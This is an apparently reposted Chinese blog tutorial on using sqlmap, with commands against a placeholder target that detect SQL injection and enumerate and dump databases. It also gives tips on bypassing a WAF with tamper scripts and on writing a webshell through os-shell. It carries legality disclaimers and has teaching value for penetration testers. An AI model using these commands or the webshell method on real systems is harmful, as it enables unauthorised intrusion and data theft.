【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

admin 2025年3月17日19:13:11评论4 views字数 2042阅读6分48秒阅读模式
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

阅读须知

【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

本公众号文章皆为网上公开的漏洞,仅供日常学习使用,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把剁椒Muyou鱼头“设为星标”,否则可能就看不到了啦!
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

2025/03/17 星期一

晴·西风3级

//01 SQLMAP

    SQLmap是一个开源渗透测试工具,它自动化了检测和利用SQL注入缺陷以及接管数据库服务器的过程。它配备了一个强大的检测引擎,为终极渗透测试仪提供了许多利基功能,并提供了从数据库指纹识别、从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令的广泛开关。

【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

//02 SQLMAP基本使用命令

    SQLMAP基础使用命令,分别是检测判断是否存在注入点,存在注入点获取数据库,在数据库中获取数据库中的表,在表中获取想要查看的字段,最后获取字段中的数据。下面演示适用的场景均为本地自己搭建的场景,使用sqlmap攻击目标并且未获得授权是违法的。

1.检测判断是否存在注入点。

python sqlmap.py -u "http://target" --batch
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

2.查看当前注入存在的数据库。

python sqlmap.py -u "http://target" --dbs --batch
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

3.获取指定数据库中的数据表。

python sqlmap.py -u "http://target" -D "A" --tables --batch
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

4.获取指定数据表中的字段。

python sqlmap.py -u "http://target" -D "A" -T "B" --columns --batch
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南
5.获取指定字段中的数据。
python sqlmap.py -u "http://target" -D "A" -T "B" -C "C" --dump --batch
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

//03 SQLMAP进阶使用命令

    在使用SQLMAP工具时,上面的基础命令是比较常见的使用方式,但是在不同的场景下,是需要使用多个命令组合来实现自己想要的结果。下面介绍多个负责场景下使用的不同命令组合。
1.小明想使用SQLMAP工具指定数据库类型进行注入测试。
python sqlmap.py -u "http://target" --dbms="mysql" --batch--dbms存在多个可选参数mysqloraclepostgresqlmicrosoft sql serversqlitesybasefirebird
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南
2.小明想使用SQLMAP工具指定注入类型进行注入测试。
python sqlmap.py -u "http://target" --technique E --batch --technique存在多个可选参数B 布尔盲注E 报错注入UNION查询注入S 堆叠注入T 时间盲注Q 内联查询注入
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南
3.小明确认当前注入点存在WAF想通过base64编码的方式绕过并进行注入。
python sqlmap.py -u "http://target" --tamper "base64encode.py" --batch在SQLMAP工具路径下tamper文件中存在多个绕过脚本。
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南
4.小明想快速确认哪个数据表中存在的数据量比较多。
python sqlmap.py -u "http://target" -D "A" --tables --count --batch
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南
5.小明想通过SQL注入的os-shell写入webshell木马但是找不到根目录。
1.首先获取当前存在系统的静态文件,比如背景图片。2.winodws系统下使用命令dir /s /b D:1.jpg查询文件路径。3.查询到路径后进行写入测试文件,查看web端是否可以访问并解析。4.可以访问并解析后,写入webshell即可。
【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南
6.小明使用os-shell写入webshell木马但是因为目录是中文导致报错无法写入。
1.中文目录下使用SQLMAP工具直接写入会因为编码问题出错。2.可以使用--proxy参数代理到burp在进行编码写入webshell。

//04 总结

    本文讲述了在日常工作中SQLMAP工具的使用小技巧,在项目中如果SQL注入无法堆叠写入webshell,只能选择获取用户名密码进入系统再找办法利用,或者在数据库中尝试获取一些敏感重要数据。大家可以下一个中文版的SQLMAP工具使用,公众号上一搜是有的,对英文不好的小伙伴来说比较友善,因为正常情况下无法记住SQLMAP工具的所有使用命令,用的时候还得去搜,麻烦得很。通过中文版可以很明了的找到你想要的参数,节省很多时间嘞。

END 

作者 | 剁椒Muyou鱼头

I like you,but just like you.

我喜欢你,仅仅如此,喜欢而已~

点赞在看不迷路哦!

原文始发于微信公众号(剁椒Muyou鱼头):【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月17日19:13:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】SqlMap实战宝典:从入门到进阶的全方位指南http://cn-sec.com/archives/3851435.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息